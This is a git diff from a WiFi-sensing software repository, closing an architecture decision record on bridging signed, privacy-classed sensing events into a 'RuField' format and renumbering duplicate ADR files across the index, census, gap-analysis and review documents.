+Implement the §3.3 mapping: `effective_class → PrivacyClass`, `cog-ha-matter` ed25519 signer for the receipt, BLAKE3 witness embedded. **Gates (three, all monotonicity/safety, not accuracy):** (a) `Derived → P4|P5` never P1 (the dangerous-mapping test); (b) privacy monotonicity — `demoted == true` ⇒ emitted `PrivacyClass >= P2` and raw suppressed; (c) signature round-trip — sign with the cog-ha-matter key, `rufield_provenance::verify_event` passes. This phase is shippable without P3 (events emitted on an internal topic, not yet on the public wire).
+
+**P3 — surface in `/ws` + viewer (ARCHITECTURE).**
+Add an opt-in `/ws/field` endpoint (or a `field_events` array on `SensingUpdate` behind a flag) carrying the signed `FieldEvent` + a privacy badge. Add an ingest route to `rufield-viewer` (it has none today — `server.rs:63-72`) so it can replay RuView's live feed instead of only `SyntheticSim`. **Gate:** a WS integration test asserting a connected client receives a privacy-badged, signature-verifiable `FieldEvent`; a viewer test asserting the new ingest route renders a live event. The `cognitum` appliance can speak RuField by consuming this endpoint (it already runs `ruview-vitals-worker`); deferred to its own ADR.
+
+**P4 — fusion composition + multi-modality (ARCHITECTURE, optional).**
+Wire a second modality (cheapest: an `rvcsi`-sourced event, or recorded mmWave) into `RuFieldFusion` alongside the WiFi event, proving cross-modality fusion above ruvsense. **Gate:** a fusion test with two modalities producing ≥1 cross-modal inference, with provenance coverage 100%.
+
+---
+
+## 5. Decision matrix
+
+### 5.1 Data-path emission (P1)
+
+| Option | Latency | Reuse | Live-fit | Risk | Verdict |
+|---|---|---|---|---|---|
+| Re-use `CsiReplayAdapter` on hot path | poor (file buffer, `&str` ctor) | high | **bad** — it's a file-cursor, not a live source | low | **Reject for live** (keep for replay) |
+| In-process `SensingServerAdapter` (tap `SensingUpdate`+`TrustedOutput`) | good | medium | **good** — taps the real emit + real trust state | low | **CHOSEN** |
+| Server publishes `FieldEvent` on its own topic (no adapter trait) | good | low | good | medium (bypasses `FieldAdapter` contract) | Reject — loses the trait seam |
+
+### 5.2 Fusion relationship (P3/P4)
+
+| Option | Verdict |
+|---|---|
+| Merge ruvsense into rufield-fusion | **Reject** — different scopes; ruvsense is within-WiFi multi-link, rufield is cross-modality |
+| rufield-fusion wraps ruvsense (vertical compose) | **CHOSEN** — ruvsense → one WiFi `FieldEvent` → rufield cross-modality graph |
+| Run both as peers, reconcile after | Reject — duplicates fusion semantics, two contradiction models |
+
+### 5.3 Privacy/provenance reconciliation (P2)
+
+| Option | Verdict |
+|---|---|
+| (a) Map RuView classes onto RuField P0–P5, RuView canonical | **CHOSEN (privacy)** — `effective_class` is the live source of truth |
+| (b) Adopt RuField ed25519 receipts as RuView's provenance | **CHOSEN (provenance)** — via the already-present `cog-ha-matter` SHA-256+Ed25519 chain |
+| (c) Keep both schemes with a permanent bridge | **Reject** — two signed-receipt systems is the duplication we must not ship |
+
+### 5.4 Dependency direction
+
+| Option | Verdict |
+|---|---|
+| Depend on published rufield crates | **Reject** — not published (`vendor/rufield/Cargo.toml:31-37`) |
+| Make rufield a v2 workspace member | **Reject** — breaks the standalone-spec/`rvcsi` precedent |
+| Thin `wifi-densepose-rufield` bridge → path deps on submodule | **CHOSEN** — anti-corruption layer, single coupling point |
+
+---
+
+## 6. Security & honesty notes
+
+- **No accuracy claim.** Live RuField events from RuView are derived from the same single-link CSI whose own caveats are on record (`field_localize.rs:16-27`); the offline path is unlabeled replay (`csi_replay.rs:19-31`). This ADR ships **plumbing with monotonicity/signature gates**, not validated F1.
+- **The dangerous mapping is `Derived → P1`.** RuView's `Derived` byte value (1) is numerically below `Anonymous` (2) but carries identity (`bfld/lib.rs`); a naive byte-mapping would leak identity-bearing features as low-privacy P1. P2's gate (a) exists specifically to prevent this.
+- **One signer, not two.** Adding a second ed25519 keypair alongside `cog-ha-matter`'s would create two roots of trust. The bridge reuses the cog-ha-matter signing key (`witness_signing.rs`).
+- **`is_fusable` is a real gate, not decoration** (`rufield-provenance/lib.rs:179-184`): live events that fail to sign are rejected by `RuFieldFusion::ingest` — we must not paper over a signing failure with `synthetic = true` on a real event (that would be the §11 invariant violation the spec forbids).
+- BLAKE3 stays internal; ed25519 is the external attestation. We do not relitigate RuView's BLAKE3 cycle-witness — it is embedded, not replaced.
+
+## 7. Consequences
+
+**Positive:** RuView becomes one honest adapter in the larger RuField ecosystem (ADR-260 goal §9) without forking its fusion or privacy engine; the three witness mechanisms get a single external attestation path; cross-modality fusion becomes possible above the existing WiFi fusion; the `cognitum` appliance gains a standard wire format. The bridge is the only coupling point, so rufield can evolve as a standalone spec.
+
+**Negative:** a fourth crate to maintain; the privacy mapping is lossy (4/5 → 6) and must be kept honest by tests; reusing the `cog-ha-matter` key crosses a bounded-context boundary (cog/Matter ↔ sensing) that ADR-116 kept separate — that coupling needs review. The live trust metadata (`witness`, `effective_class`) is **currently decoupled** from `SensingUpdate` (§1.2), so P1 must do real join work, not a field read.
+
+## 8. Open questions
+
+1. **Signer ownership:** should the bridge reuse the `cog-ha-matter` Ed25519 key, or mint a dedicated RuView-sensing key with its own rotation? (Reuse couples bounded contexts; a new key adds a second root of trust.)
+2. **`PrivacyMode` vs `PrivacyClass` as the canonical map target:** class gates egress (chosen), but the 5-mode ladder is the cleaner join to 6 levels — do we expose mode in the receipt too?
+3. **Where does the BLAKE3 engine witness live in the RuField receipt** — a `firmware_hash`-style field, an extension field, or a `CalibrationReceipt.data_hash`? (RuField's `ProvenanceRef` has no spare slot; needs a spec extension or reuse of `model_id`.)
+4. **Should `field_localize` positions ride in `Observation.space_cell`/`motion_vector`** given the explicit single-link caveat, or stay RuView-only until multi-node calibration lands?
+5. **`rvcsi` relationship:** `rvcsi` has its own `CsiFrame`/`CsiWindow` and could implement `FieldAdapter` directly — should the second modality in P4 be `rvcsi`, making RuField the convergence point for *both* vendored sensing runtimes?
+6. **Transport:** RuField ADR-260 §29 leaves default transport open (MQTT/NATS/WS/MCP). RuView is WS + UDP + broadcast; does `/ws/field` suffice, or does the appliance need MQTT to match the cog stack?
+
+## 9. Recommendation
+
+Proceed with P1+P2 behind a feature flag. They are independently shippable, carry real gates (round-trip, monotonicity, signature-verify), and require no change to RuView's fusion or privacy engine — only a tap and a translation. Defer P3/P4 and the appliance/transport questions to follow-up ADRs once the bridge round-trips on recorded `.csi.jsonl` and on one live cycle.

docs/adr/README.md

@@ -97,8 +97,8 @@ Statuses: **Proposed** (under discussion), **Accepted** (approved and/or impleme
 | [ADR-036](ADR-036-rvf-training-pipeline-ui.md) | Training Pipeline UI Integration | Proposed |
 | [ADR-043](ADR-043-sensing-server-ui-api-completion.md) | Sensing Server UI API Completion (14 endpoints) | Accepted |
 | [ADR-115](ADR-115-home-assistant-integration.md) | Home Assistant integration via MQTT auto-discovery + Matter bridge (HA-DISCO + HA-FABRIC + HA-MIND) | Accepted (MQTT track) / Proposed (Matter SDK P8b) |
-| [ADR-147](ADR-147-adam-mode-light-theme.md) | adam-mode — light theme toggle for the three.js realtime demo | Proposed |
-| [ADR-148](ADR-148-yoga-mode-pose-system.md) | yoga-mode — yoga pose detection, classification, and scoring for the three.js realtime demo | Proposed |
+| [ADR-169](ADR-169-adam-mode-light-theme.md) | adam-mode — light theme toggle for the three.js realtime demo | Proposed |
+| [ADR-170](ADR-170-yoga-mode-pose-system.md) | yoga-mode — yoga pose detection, classification, and scoring for the three.js realtime demo | Proposed |
 
 ### Architecture and infrastructure
 

docs/adr/gap-analysis/census.md

@@ -1,6 +1,6 @@
 # ADR Corpus Census
 
-Full per-ADR census underpinning ADR-164. **162 ADR entries across 156 distinct files** (6 duplicate-number collisions). Source of truth for the gap-analysis lenses. Where the census is uncertain it is marked *needs verification*.
+Full per-ADR census underpinning ADR-164. **162 ADR entries across 156 distinct files** (the 5 duplicate-number collisions / 6 displaced files have been RESOLVED — displaced files renumbered to ADR-166…171 per ADR-164 G1; the ADR-134 identity split is tracked separately under G3). Source of truth for the gap-analysis lenses. Where the census is uncertain it is marked *needs verification*.
 
 | ADR | Title | Status | impl_state | Flags |
 |-----|-------|--------|-----------|-------|
@@ -53,10 +53,10 @@ Full per-ADR census underpinning ADR-164. **162 ADR entries across 156 distinct
 | ADR-047 | RuView Observatory — Three.js Visualization | Accepted (Implemented) | implemented | — |
 | ADR-048 | Adaptive CSI Activity Classifier | Accepted | implemented | depends on Proposed ADR-045 |
 | ADR-049 | Cross-Platform WiFi Detection & Graceful Degradation | Proposed | proposed-only | targets Python v1 legacy; abandonment risk |
-| ADR-050 | Provisioning Tool Enhancements | Proposed | partial | DUPLICATE NUMBER; partially fulfilled by ADR-060 |
-| ADR-050 | Quality Engineering Response — Security Hardening | Accepted | partial | DUPLICATE NUMBER; unverified claims (54K fps); findings #6-8 unconfirmed |
-| ADR-052 | DDD Bounded Contexts (appendix) | (none — appendix, no Status) | unknown | missing-status; DUPLICATE NUMBER; cross-ref errors (cites 044 for provisioning) |
-| ADR-052 | Tauri Desktop Frontend — Hardware Mgmt & Viz | Proposed | partial | DUPLICATE NUMBER; superseded_by ADR-054; status drift |
+| ADR-050 | Provisioning Tool Enhancements | Proposed | partial | keeps 050 (collision resolved); partially fulfilled by ADR-060 |
+| ADR-166 | Quality Engineering Response — Security Hardening | Accepted | partial | renumbered from ADR-050 (collision resolved); unverified claims (54K fps); findings #6-8 unconfirmed |
+| ADR-167 | DDD Bounded Contexts (appendix to ADR-052) | (none — appendix, no Status) | unknown | renumbered from ADR-052 (collision resolved); missing-status; cross-ref errors (cites 044 for provisioning) |
+| ADR-052 | Tauri Desktop Frontend — Hardware Mgmt & Viz | Proposed | partial | keeps 052 (collision resolved); superseded_by ADR-054; status drift |
 | ADR-053 | UI Design System — Dark Professional | Accepted | implemented | depends on Proposed ADR-052 |
 | ADR-054 | RuView Desktop Full Implementation | Accepted — in progress | partial | command matrix mostly Stub; espflash version drift vs 052 |
 | ADR-055 | Integrated Sensing Server in Desktop App | Accepted | implemented | — |
@@ -145,13 +145,13 @@ Full per-ADR census underpinning ADR-164. **162 ADR entries across 156 distinct
 | ADR-144 | UWB Range-Constraint Fusion | Proposed | partial | header stale (commit b10bc2e9a); no UWB radio in fleet |
 | ADR-145 | Ablation Evaluation Harness | Proposed | partial | referenced as existing by 149/150/151; F4/UWB variant HW-gated |
 | ADR-146 | RF Encoder Multi-Task Heads + Uncertainty | Proposed | proposed-only | no Impl note (unlike 141-144); depends on tch/libtorch |
-| ADR-147 | adam-mode — light theme toggle | Proposed | proposed-only | DUPLICATE NUMBER (3 files); referenced as landed by 148-yoga |
-| ADR-147 | Occupancy World Model (OccWorld/RoboOccWorld) | Accepted | partial | DUPLICATE NUMBER; self-revised from Cosmos; Phase B gated |
-| ADR-147 | Benchmark Proof — OccWorld on RTX 5080 | (none) | unknown | MISSING STATUS; DUPLICATE NUMBER; baseline-without-fine-tuning (random weights) |
-| ADR-148 | Drone Swarm Control System | In Progress | partial | DUPLICATE NUMBER; re-routes 147 Cosmos item to 149 |
-| ADR-148 | yoga-mode — pose detection/scoring demo | Proposed | proposed-only | DUPLICATE NUMBER; no tracking issue |
-| ADR-149 | AetherArena — Spatial-Intelligence Benchmark (HF) | Accepted | partial | DUPLICATE NUMBER; external repo out-of-tree; Wi-Pose dropped |
-| ADR-149 | Drone Swarm Benchmarking Methodology | Accepted (peer-reviewed) | partial | DUPLICATE NUMBER; critiques 148's own numbers |
+| ADR-169 | adam-mode — light theme toggle | Proposed | proposed-only | renumbered from ADR-147 (collision resolved); referenced by ADR-170 yoga |
+| ADR-147 | Occupancy World Model (OccWorld/RoboOccWorld) | Accepted | partial | keeps 147 (collision resolved); self-revised from Cosmos; Phase B gated |
+| ADR-168 | Benchmark Proof — OccWorld on RTX 5080 | (none) | unknown | renumbered from ADR-147 (collision resolved); MISSING STATUS; baseline-without-fine-tuning (random weights) |
+| ADR-148 | Drone Swarm Control System | In Progress | partial | keeps 148 (collision resolved); re-routes 147 Cosmos item to 149 |
+| ADR-170 | yoga-mode — pose detection/scoring demo | Proposed | proposed-only | renumbered from ADR-148 (collision resolved); no tracking issue |
+| ADR-149 | AetherArena — Spatial-Intelligence Benchmark (HF) | Accepted | partial | keeps 149 (collision resolved); external repo out-of-tree; Wi-Pose dropped |
+| ADR-171 | Drone Swarm Benchmarking Methodology | Accepted (peer-reviewed) | partial | renumbered from ADR-149 (collision resolved); critiques 148's own numbers |
 | ADR-150 | RuView RF Foundation Encoder | Proposed | partial | status Proposed but cites measured 81.63% in-domain vs ~11.6% cross-subject |
 | ADR-151 | Per-Room Calibration & Specialized Model Training | Accepted — Stages 1-5 impl | partial | HF-backbone distillation pending |
 | ADR-152 | WiFi-Pose SOTA 2026 Intake | Proposed | partial | header stale; §2.1-2.3/2.6 impl, WiFlow-STD ~96% PCK; 1/25 claim REFUTED |

docs/adr/gap-analysis/lens-findings.md

@@ -6,7 +6,7 @@ Research notes backing ADR-164. Each lens output is reproduced verbatim. Census:
 
 ## Lens 1: status-distribution
 
-Confirmed: ADR-147-benchmark-proof.md and ADR-134-csi-to-cir have no `Status` line in their headers (the 052-ddd hits are Rust code in the body, not a header; the ADR-052 appendix lacks a real Status header per its first lines). Findings are evidence-grounded. Final analysis below.
+Confirmed: ADR-168-benchmark-proof.md (was ADR-147-benchmark-proof.md) and ADR-134-csi-to-cir have no `Status` line in their headers (the 167-ddd hits are Rust code in the body, not a header; the ADR-167 appendix, was ADR-052-ddd, lacks a real Status header per its first lines). Findings are evidence-grounded. Final analysis below.
 
 ### ADR Corpus — Status & Implementation Distribution
 
@@ -20,7 +20,7 @@ Census: **162 ADR entries** across **156 distinct files** (6 duplicate-number co
 | Proposed (incl. "Proposed — conditional/research-only") | ~88 |
 | Superseded | 1 (ADR-002) |
 | Rejected | 1 (ADR-098) |
-| Missing / no Status header | 3 (ADR-147-benchmark-proof, ADR-052-ddd appendix, ADR-134-CIR) |
+| Missing / no Status header | 3 (ADR-168-benchmark-proof [was 147], ADR-167-ddd appendix [was 052], ADR-134-CIR) |
 | Mixed/dual status in one ADR | 3 (ADR-115, ADR-149-AetherArena vs swarm, ADR-133) |
 
 #### impl_state tally
@@ -31,29 +31,29 @@ Census: **162 ADR entries** across **156 distinct files** (6 duplicate-number co
 | partial | ~50 |
 | proposed-only | ~64 |
 | stale-or-contradicted | 3 (ADR-029, 030, 031) |
-| unknown | 5 (ADR-034, 044, 052-ddd, 147-proof, …) |
+| unknown | 5 (ADR-034, 044, 167-ddd [was 052], 168-proof [was 147], …) |
 | superseded | 1 (ADR-002) |
 
 **Headline:** ~114 of 162 ADRs (70%) are decisions that never fully landed (proposed-only + partial + stale + unknown). The dominant failure mode is **stale Status headers** — Accepted/implemented work still labeled "Proposed."
 
 #### SEVERITY: CRITICAL — Status header missing or structurally absent (cannot triage)
 
-- **ADR-147-benchmark-proof.md** — *No `Status` header at all* (grep confirmed). Not a true ADR; it's a benchmark artifact (OccWorld @ ~213ms on RTX 5080, random weights) misfiled under the ADR-147 number. **Action: relocate to `docs/proof/` or `benchmarks/`, remove ADR number.**
+- **ADR-168-benchmark-proof.md** (renumbered from ADR-147 to resolve the 147 collision) — *No `Status` header at all* (grep confirmed). Not a true ADR; it's a benchmark artifact (OccWorld @ ~213ms on RTX 5080, random weights) that was misfiled under the ADR-147 number. **Action: relocate to `docs/proof/` or `benchmarks/`, remove ADR number.**
 - **ADR-134-csi-to-cir-time-domain-multipath.md** — *No `Status` header* (grep confirmed) in the header region. Body says Proposed but the field is not in canonical position. Compounded by a **number collision**: ADR-126/129 reference "ADR-134" as HOMECORE-MIGRATE, but the on-disk file is CIR. **Action: add canonical `## Status` line; resolve the 134 identity split.**
-- **ADR-052-ddd-bounded-contexts.md** — Appendix doc with no Status/Date header (grep found only Rust code, no header field). **Action: mark explicitly "Appendix to ADR-052 (no independent status)".**
+- **ADR-167-ddd-bounded-contexts.md** (renumbered from ADR-052 to resolve the 052 collision; still an appendix to parent ADR-052) — Appendix doc with no Status/Date header (grep found only Rust code, no header field). **Action: mark explicitly "Appendix to ADR-052 (no independent status)".**
 
 #### SEVERITY: CRITICAL — Duplicate ADR numbers (6 collisions, all verified on disk)
 
-| Number | Colliding files | Action |
-|---|---|---|
-| **147** | adam-mode-light-theme · nvidia-cosmos/OccWorld · benchmark-proof | Renumber 2 of 3 |
-| **148** | drone-swarm-control-system · yoga-mode-pose-system | Renumber 1 |
-| **149** | AetherArena-leaderboard · swarm-benchmarking | Renumber 1 |
-| **050** | provisioning-tool-enhancements · quality-engineering-security-hardening | Renumber 1 |
-| **052** | tauri-desktop-frontend · ddd-bounded-contexts (appendix) | Demote appendix |
-| **134** | csi-to-cir (on disk) · HOMECORE-MIGRATE (referenced, no file) | Resolve identity |
+| Number | Colliding files | Action | Resolution |
+|---|---|---|---|
+| **147** | adam-mode-light-theme · nvidia-cosmos/OccWorld · benchmark-proof | Renumber 2 of 3 | **RESOLVED** — 147 keeps nvidia-cosmos/OccWorld; benchmark-proof → **ADR-168**, adam-mode → **ADR-169** |
+| **148** | drone-swarm-control-system · yoga-mode-pose-system | Renumber 1 | **RESOLVED** — 148 keeps drone-swarm; yoga-mode → **ADR-170** |
+| **149** | AetherArena-leaderboard · swarm-benchmarking | Renumber 1 | **RESOLVED** — 149 keeps AetherArena; swarm-benchmarking → **ADR-171** |
+| **050** | provisioning-tool-enhancements · quality-engineering-security-hardening | Renumber 1 | **RESOLVED** — 050 keeps provisioning (5 refs vs 1); quality-engineering → **ADR-166** |
+| **052** | tauri-desktop-frontend · ddd-bounded-contexts (appendix) | Demote appendix | **RESOLVED** — 052 keeps tauri; ddd appendix renumbered → **ADR-167** (still linked to parent 052) |
+| **134** | csi-to-cir (on disk) · HOMECORE-MIGRATE (referenced, no file) | Resolve identity | Identity split (not a filename collision); resolved separately via G3 → ADR-165 |
 
-These break the ADR index and `/adr` tooling — two ADRs answering to one number is a corpus-integrity defect, not cosmetics.
+These broke the ADR index and `/adr` tooling — two ADRs answering to one number is a corpus-integrity defect, not cosmetics. The five filename collisions are now resolved (six displaced files renumbered 166–171); see ADR-164 Gap Register G1.
 
 #### SEVERITY: HIGH — Status header stale vs. shipped reality (Proposed header on landed code)
 
@@ -91,7 +91,7 @@ Cluster heads where the whole chain is Proposed with zero implementation evidenc
 
 #### Ranked actionable backlog (do in this order)
 
-1. **Resolve 6 duplicate ADR numbers + 3 missing-header files** (CRITICAL — breaks the index/tooling). Renumber 147×2, 148, 149, 050; demote 052-ddd appendix; resolve the 134 identity split; add Status headers to 147-proof, 134, 052-ddd.
+1. **Resolve 6 duplicate ADR numbers + 3 missing-header files** (CRITICAL — breaks the index/tooling). **Number collisions RESOLVED:** renumbered 147×2 (benchmark-proof→168, adam-mode→169), 148 (yoga→170), 149 (swarm-benchmarking→171), 050 (quality-engineering→166), 052 ddd appendix→167. Remaining: resolve the 134 identity split (done via G3→165); add Status headers to 168-proof, 134, 167-ddd (owner-gated).
 2. **Bulk-flip the 10 streaming-engine headers (ADR-136–145)** from Proposed → "Accepted — partial" — they have commit-pinned, test-backed Implementation Status notes. Highest ROI: one batch fixes the largest stale-status cluster.
 3. **Fix the status-graph inversions** (032/053/048/077 depend on Proposed parents; promote parents 029/030/031/045/052/075/076 to match their built reality, or downgrade the dependents).
 4. **Reconcile CLAUDE.md vs ADR headers** for 017, 024, 027, 072, 152 (doc says one thing, header another).
@@ -184,7 +184,7 @@ The sweep (ADR-154–163) is itself a structured retraction layer: each "Beyond-
 
 **[MEDIUM] ADR-098 → ADR-099 partial reversal.** ADR-098 **Rejected** midstream as a system component; ADR-099 (Proposed) **adopts** midstream's temporal-compare (DTW) + temporal-attractor-studio as a parallel tap. Framed as "complementary," but it revives the exact carve-outs ADR-098 declined to integrate — a live decision conflict pending resolution.
 
-**[MEDIUM] ADR-147 (OccWorld) self-retracts Cosmos.** The accepted ADR-147 title/decision was revised from "NVIDIA Cosmos WFM Integration" to OccWorld after a hardware finding (Cosmos needs 32.5 GB VRAM); Cosmos is retracted as primary. The companion ADR-147-benchmark-proof reports 213 ms/inference on **random weights, no checkpoint** — a baseline-without-fine-tuning number that must not be cited as a quality/target metric.
+**[MEDIUM] ADR-147 (OccWorld) self-retracts Cosmos.** The accepted ADR-147 title/decision was revised from "NVIDIA Cosmos WFM Integration" to OccWorld after a hardware finding (Cosmos needs 32.5 GB VRAM); Cosmos is retracted as primary. The companion ADR-168-benchmark-proof (renumbered from ADR-147) reports 213 ms/inference on **random weights, no checkpoint** — a baseline-without-fine-tuning number that must not be cited as a quality/target metric.
 
 #### B. Pairs making CONFLICTING decisions on the same topic
 

docs/proof-of-capabilities.md

@@ -181,7 +181,7 @@ A facade hides its failures. We document ours in detail:
   a 20 KB int4 edge model, with the quantization trade-offs shown.
 - **Retractions** — the "100% presence" figure was withdrawn in-place rather than quietly
   edited away.
-- **[ADR-147 benchmark proof](adr/ADR-147-benchmark-proof.md)** and
+- **[ADR-168 benchmark proof](adr/ADR-168-benchmark-proof.md)** and
   **[WITNESS-LOG-028](WITNESS-LOG-028.md)** — how the numbers are produced and a 33-row
   per-claim attestation matrix.
 

docs/research/ruview-beyond-sota/00-system-review.md

@@ -33,11 +33,11 @@ Role mapping is normative per ADR-136 §2.1; maturity is this review's judgment
 | **signal** | `wifi-densepose-signal` (incl. `ruvsense/`) | 6-stage pipeline (`ruvsense/mod.rs:9-23`), `cir.rs`, `calibration.rs`, `hampel.rs`, `fresnel.rs`, `phase_sanitizer.rs` | 473 | **Production** (unit level); live multistatic wiring **beta** | §3 below; ADR-014 Accepted, ADR-029 Proposed |
 | **fusion** | `ruvsense/multistatic.rs`, `ruvsense/fusion_quality.rs`, `wifi-densepose-ruvector/src/viewpoint/` | `MultistaticFuser`, `QualityScore`, `CrossViewpointAttention`, GDI/Cramér-Rao (`viewpoint/geometry.rs`) | 20 (multistatic.rs), 3 (fusion_quality.rs), 136 (ruvector crate) | **Beta** — tested building blocks, composed only in `wifi-densepose-engine` tests | `viewpoint/mod.rs:1-30`; engine `lib.rs:317-319` |
 | **world** | `homecore`, `wifi-densepose-worldgraph`, `wifi-densepose-geo`, `wifi-densepose-worldmodel` | `StateMachine`, `EventBus`, `WorldGraph` (rooms/sensors/person-tracks/semantic states), ENU geo registration | 9+11, 7, 16+1, 12+1 | **Beta** — homecore is explicit "P1 scaffold"; persistence/service dispatch deferred to P2 | `homecore/src/lib.rs:7, 24-31`; ADR-127 Proposed |
-| **models** | `cog-pose-estimation`, `cog-person-count`, `wifi-densepose-nn`, `wifi-densepose-train`, `wifi-densepose-occworld-candle` | ONNX/Candle inference, training pipeline, OccWorld bridge | 7, 15, 30+1, 312, 12 | **Experimental** — no trained RF foundation encoder exists; ADR-147 benchmarked OccWorld with **random weights** | `ADR-147-benchmark-proof.md` ("random weights — pre-domain-fine-tuning baseline"); ADR-146/150 Proposed |
+| **models** | `cog-pose-estimation`, `cog-person-count`, `wifi-densepose-nn`, `wifi-densepose-train`, `wifi-densepose-occworld-candle` | ONNX/Candle inference, training pipeline, OccWorld bridge | 7, 15, 30+1, 312, 12 | **Experimental** — no trained RF foundation encoder exists; ADR-147 benchmarked OccWorld with **random weights** | `ADR-168-benchmark-proof.md` ("random weights — pre-domain-fine-tuning baseline"); ADR-146/150 Proposed |
 | **privacy** | `wifi-densepose-bfld` | `privacy_gate.rs`, `privacy_mode.rs` (mode registry + hash-chained attestation), `identity_risk.rs`, `signature_hasher.rs`, `embedding_ring.rs` | 369 | **Beta** — strongest-tested layer, but lib header still says "Status: P1 in progress" (`lib.rs:12`, stale vs 20 implemented modules) | ADR-118–123, 141 all Proposed |
 | **store** | `homecore-recorder` | trajectory/event recording | 8+12 | **Experimental** | ADR-136 §2.1 |
 | **api** | `homecore-api`, `homecore-server`, `cog-ha-matter`, `homecore-hap` | REST/WS, HA discovery, Matter, HomeKit | 7+11, 0, 63+1, 15+2 | **Experimental→Beta** (`homecore-server` has zero tests) | ADR-130/125/115 Proposed |
-| **eval** | `wifi-densepose-train/src/ablation.rs`, `ruview-swarm/src/evals/` | ablation harness (ADR-145), swarm eval suite (ADR-149) | included in 312 / 115 | **Experimental** — ADR-145 self-labels "skeleton/scaffolding, mostly not yet on the live 20 Hz path" | `ablation.rs` exists; ADR-149 (swarm benchmarking) Accepted |
+| **eval** | `wifi-densepose-train/src/ablation.rs`, `ruview-swarm/src/evals/` | ablation harness (ADR-145), swarm eval suite (ADR-171) | included in 312 / 115 | **Experimental** — ADR-145 self-labels "skeleton/scaffolding, mostly not yet on the live 20 Hz path" | `ablation.rs` exists; ADR-171 (swarm benchmarking, renumbered from ADR-149) Accepted |
 | **observe** | `homecore-automation`, `homecore-assist` | automation engine, assistant/Ruflo bridge | 20+14, 3+20 | **Experimental** | ADR-129/133 Proposed |
 | **(integration root)** | `wifi-densepose-engine` | `StreamingEngine`, `TrustedOutput`, privacy demotion, witness | 11 | **Beta** — the only crate that proves cross-role composition; not on a live I/O path | `engine/src/lib.rs:1-29, 457-751` |
 | **(swarm)** | `ruview-swarm` | Raft/gossip topology, RRT-APF planning, Candle PPO MARL, CSI sensing payload, failsafe, Ruflo | 115+19 | **Experimental/simulation** — M3 needs real ESP32-S3 hardware | ADR-148:940-953 ("Overall ~98%", M3 85%) |
@@ -148,7 +148,7 @@ This is genuinely strong design. But all inputs are synthetic `MultiBandCsiFrame
 | R5 | **Float nondeterminism in fusion** across thread counts could silently break the witness/replay contract once wired | Medium | High | ADR-136 §3.3 risk table (project's own assessment) |
 | R6 | **Privacy bypass via unwired paths**: BFLD invariants are enforced per-module, but until the engine is the *only* route from ingest to API, a sensing-server endpoint can emit ungated state (sensing-server already has 30+ modules incl. pose/vitals APIs predating the control plane) | Medium | Critical | `sensing-server/src/` module list vs engine isolation |
 | R7 | **Hardware dependence + scale**: multistatic TDMA/channel-hopping timing validated on small ESP32 sets; ADR-148 M3 explicitly blocked on real hardware; clock-quality model in engine uses a hardcoded `ClockQualityScore` (`engine/src/lib.rs:384`) | Medium | High | ADR-148:946; hardcoded 50 µs stdev |
-| R8 | **ADR/doc/status drift**: 150 ADRs with near-universal "Proposed" status, stale in-source status headers (`bfld/src/lib.rs:12`), CLAUDE.md "16 ruvsense modules" vs 22 on disk, duplicate ADR numbers (two ADR-050s, two ADR-147s, two ADR-149s, ADR-052 ×2) — institutional-memory value degrades | High | Medium | `ls docs/adr/`; this review §3 |
+| R8 | **ADR/doc/status drift**: 150 ADRs with near-universal "Proposed" status, stale in-source status headers (`bfld/src/lib.rs:12`), CLAUDE.md "16 ruvsense modules" vs 22 on disk, duplicate ADR numbers (two ADR-050s, two ADR-147s, two ADR-149s, ADR-052 ×2 — **now RESOLVED: displaced files renumbered to ADR-166…171 per ADR-164 G1**) — institutional-memory value degrades | High | Medium | `ls docs/adr/`; this review §3 |
 | R9 | **Workspace breadth vs maintenance capacity**: 38 workspace crates + 4 vendored subtrees + Python archive + firmware; several crates have 0 tests (`homecore-server`, `nvsim-server`, `wifi-densepose-wasm`, `homecore-plugin-example`); bus factor appears to be ~1 | High | Medium | crate test-count table §2 |
 | R10 | **Eval debt**: no end-to-end accuracy benchmark on real CSI with ground truth exists in-repo (ADR-145 harness is scaffolding; ADR-079 camera ground truth not exercised here) — "beyond SOTA" claims are currently unfalsifiable | High | High | ADR-145 status note; absence of ground-truth datasets in tree |
 

docs/research/ruview-beyond-sota/03-benchmark-validation-methodology.md

@@ -18,7 +18,7 @@ published from the layer it lives at.
 |-------|----------------|---------|-----------|-------------|
 | **L0** Unit/integration tests | Code correctness | `cargo test --workspace --no-default-features` + pytest | per commit | exact |
 | **L1** Deterministic proof + witness bundle | Pipeline is real, unchanged, reproducible | `archive/v1/data/proof/verify.py`, `scripts/generate-witness-bundle.sh` | per merge / release | exact (SHA-256) |
-| **L2** Criterion micro-benchmarks | Compute latency only — never quality (ADR-149 §2) | 15 bench targets across `v2/crates/*/benches/` | nightly / pre-release | statistical |
+| **L2** Criterion micro-benchmarks | Compute latency only — never quality (ADR-171 §2) | 15 bench targets across `v2/crates/*/benches/` | nightly / pre-release | statistical |
 | **L3** Dataset-level accuracy eval | Pose/presence/vitals quality vs published SOTA | MM-Fi / Wi-Pose (ADR-015), `ruview_metrics.rs` tiers, ADR-145 ablation harness | per model release | seeded |
 | **L4** Hardware-in-loop | Real CSI on real ESP32, no mocks | COM9 (S3) / COM12 (C6) protocol, witness firmware hashes | per firmware release | A/B controlled |
 | **L5** Field trials / live capture | End-to-end behavior in a real room | live-session captures (e.g. `benchmark_baseline.json`) | campaign | statistical |
@@ -69,7 +69,7 @@ from the check inventory.
 
 ### 1.3 L2 — Criterion micro-benchmark inventory (all 15 targets)
 
-All bench sources read directly. Per ADR-149 §2 these are **latency regression gates
+All bench sources read directly. Per ADR-171 §2 these are **latency regression gates
 only, never quality evidence**.
 
 | Bench target | Crate | Benchmark functions / groups | What it measures | Recorded value or in-source target (citation) |
@@ -86,7 +86,7 @@ only, never quality evidence**.
 | `detection_bench.rs` | wifi-densepose-mat | `breathing_detection`, `heartbeat_detection`, `movement_classification`, `detection_pipeline`, localization (triangulation/depth), alert generation | MAT survivor-detection algorithms at varying signal lengths / noise | no recorded baseline |
 | `transport_bench.rs` | wifi-densepose-hardware | `beacon_serialize_16byte/28byte_auth/quic_framed`, `auth_beacon_verify`, `replay_window`, `framed_message` encode/decode, `secure_tdm_cycle` (manual vs QUIC) | TDM beacon crypto + transport | no recorded baseline |
 | `mqtt_throughput.rs` | wifi-densepose-sensing-server | `discovery::build_*`, `state::*`, `rate_limiter::allow_*`, `privacy::decide_*`, `semantic::bus_tick_all_10_primitives` | ADR-115 MQTT hot path | Targets (header): discovery **<5 µs**, state encode **<2 µs**, rate limit **<100 ns**, privacy **<50 ns**, bus tick **<10 µs** |
